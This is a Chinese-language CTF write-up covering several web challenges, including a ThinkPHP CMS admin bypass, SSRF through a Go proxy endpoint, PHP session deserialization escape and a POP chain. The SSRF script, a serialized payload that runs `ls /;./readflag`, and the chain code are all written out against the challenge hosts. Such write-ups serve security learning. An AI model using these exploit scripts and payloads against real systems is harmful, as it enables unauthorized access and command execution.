xiaohuanxiong

先初始化网站。然后发现是tp5.多版本,但是不知道怎么用

扫一下目录 image-20241103180449622

经过访问各个页面,最后发现/admin/login/index.html可以登录,但是没有账号

image-20241103180602651

扫一下/admin/目录

image-20241103180836079

进入/admin/admins直接就进后台了,直接添加一个管理员 image-20241103181235463

登录后台 在支付管理里面 可以写代码 image-20241103181341759

bp拦截 会显示flag

image-20241103181456182

Proxy

发现是go写的。

路由/v2/api/proxy

image-20241103194353882

实现 HTTP 请求代理,将请求转发到指定的目标 URL。

路由 /v1/api/flag

image-20241103194446660

用来获取flag的

然后审计代码可以知道 我们可以通过/v2/api/proxy访问/v1/api/flag就能读到flag了

image-20241103185923480

我们看一下代理配置文件

image-20241103190000388

我们要代理到 http://localhost:8769/v1/api/flag

脚本:

import  requests
import json
​
def get_flag_pro():
    prox_url="http://39.105.114.252:30793/v2/api/proxy"
​
    headers={
        "Content-Type":"application/json"
    }
​
    data={
        "url":"http://localhost:8769/v1/api/flag",
        "method":"POST",
        "body":"",
        "headers":{
            "Content-Type":"application/json"
        },
        "follow_redirects":False
    }
​
    while(1):
        response=requests.post(prox_url,headers=headers,data=json.dumps(data))
        if response.status_code == 200:
            flag= response.json().get("flag")
            print(flag)
            
get_flag_pro()

img

base64解码即可。

platform

扫一下目录,发现www.zip源码泄露,直接下载

image-20241103174933761

四个php文件 开始分析代码 image-20241103175002337

代码逻辑就是我们随便就能登录一个账号,然后将 user session_key password 三个字段写入到session文件中,其中session_key 随机生成1-50位,其他可控。但是解释器都一样,无法直接打session分序列化,继续分析

image-20241103175208818

在上边的代码中,可以看到会对session文件中的字符串进行替换,这里可以使用逃逸来构造session反序列化,先本地测试一下 img

可以执行,然后就打远端,但是这里因为session_key 是随机的,所以我们就一直执行脚本,然后session_key 正好为24时候就会执行,简单绕过即可 image-20241103175714016

image-20241103175917618

脚本如下:

from time import sleep
​
import requests
session = requests.Session()
url1='http://eci-2zedfkwha8kfyk2foyh9.cloudeci1.ichunqiu.com/'
url2='http://eci-2zedfkwha8kfyk2foyh9.cloudeci1.ichunqiu.com/dashboard.php'
​
cookies = {
    'PHPSESSID': '3tk13mkqmstnss2dg7fp0lj30i'
}
data={
    'username':'evalevalevalevalevalevalevalevalevalevalevalevalevalevaleval',
    'password':';password|O:15:"notouchitsclass":1:{s:4:"data";s:23:"echo `ls /;./readflag`;";};'
}
while(1):
    res=session.post(url=url1,cookies=cookies,data=data)
    res2 = session.post(url=url2, cookies=cookies)
    if "root" in res2.text:
        print(res2.headers['Content-Length'])
        print(res2.text)
        exit()

Password Game

前面抓包过了密码规则 就能看到代码了

image-20241103181823743

php反序列化,开始分析

<?php
function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}

可以看到输出flag有两个地方 echo md5("hello:".this->value); 和 echo GLOBALS["flag"];。但是经过构造发现并不能成功,然后看到提示说可以改变输出的地方,然后再分析

我们可以通过先实例化root类,然后添加一个password属性,然后root没有password就会调用_call魔术方法,然后通过引用将 $this->value的直接赋给user的username,那么后边在退出时就会进入 __destruct(),然后输出flag的值,因为前边将flag的值赋给了this-->value

因为有绕过,先本地测试。通过经过测试,最终链子如下:

链子:

<?php
function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class root{
    public $username;
    public $AA;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
​
$a = new root();
$a->username = "a";
$a->value = 2024;
$a->AA = new user();
$a->AA ->username = &$a->value;
$a->AA ->password = "Aa93457";
echo serialize($a);

然后还是过密码规则 ,计算算就行了,最后过完规则 直接传入即可。

image-20241103183546376

snake

脚本通关后跳转到Congratulations页面 ,使用bp代理流量 为了好找跳转流量包 image-20241103202042685

image-20241103211146760

import requests
import json
from heapq import heappop, heappush
​
# Direction constants
DIRECTIONS = {
    "UP": (0, -1),
    "DOWN": (0, 1),
    "LEFT": (-1, 0),
    "RIGHT": (1, 0)
}
​
# Current and last direction
current_direction = "RIGHT"
last_direction = "RIGHT"
​
# Direction mapping for avoiding backtracking
direction_map = {
    "UP": "DOWN",
    "DOWN": "UP",
    "LEFT": "RIGHT",
    "RIGHT": "LEFT"
}
​
def heuristic(a, b):
    """Calculate the Manhattan distance between two points."""
    return abs(a[0] - b[0]) + abs(a[1] - b[1])
​
def a_star_search(start, goal, grid_size, snake):
    """Perform A* search to find the shortest path to the goal."""
    open_set = []
    heappush(open_set, (0, start))
    came_from = {}
    g_score = {start: 0}
    f_score = {start: heuristic(start, goal)}
​
    while open_set:
        _, current = heappop(open_set)
​
        if current == goal:
            path = []
            while current in came_from:
                path.append(current)
                current = came_from[current]
            path.reverse()
            return path
​
        for direction, (dx, dy) in DIRECTIONS.items():
            neighbor = (current[0] + dx, current[1] + dy)
            if 0 <= neighbor[0] < grid_size and 0 <= neighbor[1] < grid_size and neighbor not in snake:
                tentative_g_score = g_score[current] + 1
                if neighbor not in g_score or tentative_g_score < g_score[neighbor]:
                    came_from[neighbor] = current
                    g_score[neighbor] = tentative_g_score
                    f_score[neighbor] = tentative_g_score + heuristic(neighbor, goal)
                    heappush(open_set, (f_score[neighbor], neighbor))
​
    return []
​
def get_next_direction(snake, food, grid_size):
    """Determine the next direction for the snake to move toward the food."""
    global current_direction, last_direction
​
    head_x, head_y = snake[0]['x'], snake[0]['y']
    food_x, food_y = food[0], food[1]
​
    # Use A* algorithm to find the path to the food
    path = a_star_search((head_x, head_y), (food_x, food_y), grid_size, [(seg['x'], seg['y']) for seg in snake])
​
    if path:
        # Get the next move direction
        next_x, next_y = path[0]
        if next_x > head_x:
            return "RIGHT"
        elif next_x < head_x:
            return "LEFT"
        elif next_y > head_y:
            return "DOWN"
        elif next_y < head_y:
            return "UP"
    else:
        # If no path found, randomly choose a direction (avoiding backtracking)
        possible_directions = list(DIRECTIONS.keys())
        possible_directions.remove(direction_map[current_direction])
        return possible_directions[0]
​
# URL for making requests
url = "http://eci-2zeirp9f80b0poj4e76p.cloudeci1.ichunqiu.com:5000/move"
​
# Headers for the request
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0",
    "Accept": "*/*",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Content-Type": "application/json",
    "Connection": "close",
    "Cookie": "session=eyJ1c2VybmFtZSI6IjEifQ.ZydYYQ.y4ThT_rofnb2wUqbhAdL-57DLLU",
}
​
def main():
    """Main loop for the snake game."""
    global current_direction, last_direction
    proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", }
    while True:
        try:
            # Get current game state
            response = requests.post(url, headers=headers, data=json.dumps({"direction": current_direction}),proxies=proxies)
​
            if response.status_code == 200:
                game_data = response.json()
​
                # Check game status
                if 'status' in game_data:
                    if game_data['status'] == 'game_over':
                        print("Game Over!")
                        print("Final Score:", game_data.get('score', 'Score not provided'))
                        break
                    elif game_data['status'] == 'win':
                        print("Congratulations! You win!")
                        print("Final Score:", game_data.get('score', 'Score not provided'))
​
                # Extract food and snake positions
                food = game_data.get('food', [])
                snake = [{'x': segment[0], 'y': segment[1]} for segment in game_data.get('snake', [])]
                score = game_data.get('score', 0)
                grid_size = game_data.get('grid_size', 20)  # Default grid size
​
                # Print current game state
                print("Food:", food)
                print("Snake:", snake)
                print("Current Score:", score)
​
                # Calculate the next direction
                if food and snake:
                    next_direction = get_next_direction(snake, food, grid_size)
                    current_direction = next_direction
            else:
                print(f"Request failed with status code: {response.status_code}")
                print("Response Body:", response.text)
                break
​
        except requests.exceptions.RequestException as e:
            print(f"Request error: {e}")
            print("Response Body:", response.text if 'response' in locals() else "No response")
            break
        except json.JSONDecodeError as e:
            print(f"JSON decode error: {e}")
            print("Response Body:", response.text if 'response' in locals() else "No response")
            break
        except KeyError as e:
            print(f"Key error: {e}")
            print("Response Body:", response.text if 'response' in locals() else "No response")
            break
        except Exception as e:
            print(f"Unexpected error: {e}")
            print("Response Body:", response.text if 'response' in locals() else "No response")
            break
​
if __name__ == "__main__":
    main()
​

image-20241103211621665

然后测试后 发现存在sql注入 字段为3。

image-20241103211651730

但是测试很多输入了都返回500,最后为第三个字段可以进行ssti注入

image-20241103211718500

读flag